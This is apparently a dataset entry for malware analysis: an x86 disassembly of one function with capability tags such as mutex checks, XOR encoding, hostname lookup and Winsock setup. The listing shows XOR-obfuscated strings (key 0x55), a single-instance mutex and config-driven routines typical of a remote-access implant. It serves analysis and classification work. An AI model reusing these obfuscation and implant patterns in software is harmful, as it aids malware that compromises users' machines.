Function at 0x4068d5
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Encode data using xor
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x413290], eax
call fcn.0040a870
call fcn.0040a912
call fcn.004091b9
mov eax, dword [0x40fcc1]
xor ebx, ebx
inc eax
push eax
push 0x413780
push 0xffffffffffffffff
push 0x40fcc5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [0x40fd45]
mov ecx, 0x40fd49
call fcn.0040565c
mov dword [0x41377c], eax
call fcn.004082a5
call fcn.0040283b
call fcn.00407c7d
call fcn.00409f6c
lea ecx, [esp + 0x38]
call fcn.00407f57
lea ecx, [esp + 0x38]
call fcn.00408e26
push 0x413378
lea eax, [esp + 0x3c]
push 0x202
mov dword [0x413514], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x40
push eax
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x4132bc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [0x412e64]
lea ecx, [esp + 0x38]
call fcn.0040c8c3
movaps xmm0, xmmword [0x401ff0]
mov eax, ebx
movups xmmword [esp + 0x1c], xmm0
mov dword [esp + 0x2c], 0x55705575
mov dword [esp + 0x30], 0x555526
xor byte [esp + eax + 0x1c], 0x55
inc eax
cmp eax, 0x17
jb 0x4069bd
movaps xmm0, xmmword [0x401990]
mov eax, ebx
mov byte [esp + 0x33], bl
movups xmmword [esp + 0xc], xmm0
xor byte [esp + eax + 0xc], 0x55
inc eax
cmp eax, 0xf
jb 0x4069da
push 0x413190
lea eax, [esp + 0x20]
mov byte [esp + 0x1f], bl
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0040d976
add esp, 0xc
lea ecx, [esp + 0x38]
call fcn.0040a48a
cmp byte [0x412e64], bl
jne 0x406a71
cmp byte [0x412e62], bl
jne 0x406a71
lea ecx, [esp + 0x38]
call fcn.0040820e
test eax, eax
je 0x406a71
mov dword [esp + 0xc], 0x6141017
mov eax, ebx
mov dword [esp + 0x10], 0x101d7501
mov dword [esp + 0x14], 0x6a1007
xor byte [esp + eax + 0xc], 0x55
inc eax
cmp eax, 0xb
jb 0x406a40
push ebx
lea eax, [esp + 0x10]
mov byte [esp + 0x1b], bl
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x406a71
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00409689
mov esi, eax
cmp byte [esi + 0x4e24], bl
jne 0x406b67
cmp byte [esi + 0x4e22], bl
je 0x406aa5
lea ecx, [esp + 0x38]
call fcn.0040820e
test eax, eax
je 0x406aa5
call fcn.00402bab
mov ecx, eax
call fcn.004096b5
cmp byte [esi + 0x4e24], bl
jne 0x406b67
cmp byte [esi + 0x4e23], bl
je 0x406ad2
lea ecx, [esp + 0x38]
call fcn.0040820e
test eax, eax
je 0x406ad2
call fcn.00402bab
mov ecx, eax
call fcn.004099f1
cmp byte [esi + 0x4e24], bl
jne 0x406b67
lea ecx, [esp + 0x38]
call fcn.0040820e
test eax, eax
je 0x406b67
cmp byte [esi + 0x4e1f], bl
je 0x406af8
call fcn.0040b47d
cmp byte [esi + 0x4e20], bl
je 0x406b17
call fcn.00409cfc
test eax, eax
jne 0x406b17
call fcn.00409ca2
test eax, eax
je 0x406b17
call fcn.0040b0fb
cmp byte [esi + 0x4e1e], bl
je 0x406b34
call fcn.0040ab32
call fcn.00409ca2
test eax, eax
je 0x406b34
xor ecx, ecx
call fcn.0040af5c
cmp byte [esi + 0x4e1d], bl
je 0x406b41
call fcn.0040af87
cmp byte [esi + 0x4e1a], bl
je 0x406b52
lea ecx, [esp + 0x38]
call fcn.0040a3e4
cmp byte [esi + 0x4e1b], bl
je 0x406b67
call fcn.00407a39
xor ecx, ecx
inc ecx
call fcn.00407ba5
call fcn.00407bea
test eax, eax
je 0x406b81
lea ecx, [esp + 0x38]
call fcn.0040820e
test eax, eax
jne 0x406c5c
cmp byte [esi + 0x4e21], bl
jne 0x406bb8
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x55105517
mov dword [esp + 0x10], 0x551c5512
mov dword [esp + 0x14], 0x55551b
call fcn.00406ce9
mov edx, eax
call fcn.00402bab
mov ecx, eax
call fcn.0040a98a
call fcn.0040901e
xor ecx, ecx
inc ecx
call fcn.004090e6
call fcn.00407bea
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406be3
call fcn.00409d4e
push 0x3e8
call edi
call fcn.00407bea
test eax, eax
je 0x406bd2
push ebx
push ebx
push 0xf
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x556b5578
mov word [esp + 0x1c], 0x55
call fcn.00403ce3
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.00407fd3
add esp, 0xc
jmp 0x406c1f
call fcn.00409d4e
push 0x3e8
call edi
call fcn.00409142
test eax, eax
je 0x406c13
cmp byte [esi + 0x4e21], bl
jne 0x406c57
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x551b5510
mov dword [esp + 0x10], 0x555511
call fcn.00406cd6
mov edx, eax
call fcn.00402bab
mov ecx, eax
call fcn.0040a98a
call fcn.0040a31e
cmp byte [esi + 0x4e24], bl
jne 0x406c6d
call fcn.0040d8af
test eax, eax
je 0x406ca4
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [esp + 0x1c]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x406c96
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
call esi
test eax, eax
jne 0x406c80
lea ecx, [esp + 0x38]
call fcn.00407fc0
call fcn.00408506
call fcn.00402bb1
call fcn.00407e37
call fcn.0040a2f3
call fcn.00408fc1
call fcn.004079cf
call fcn.0040d7fa
push ebx
jmp 0x406a6b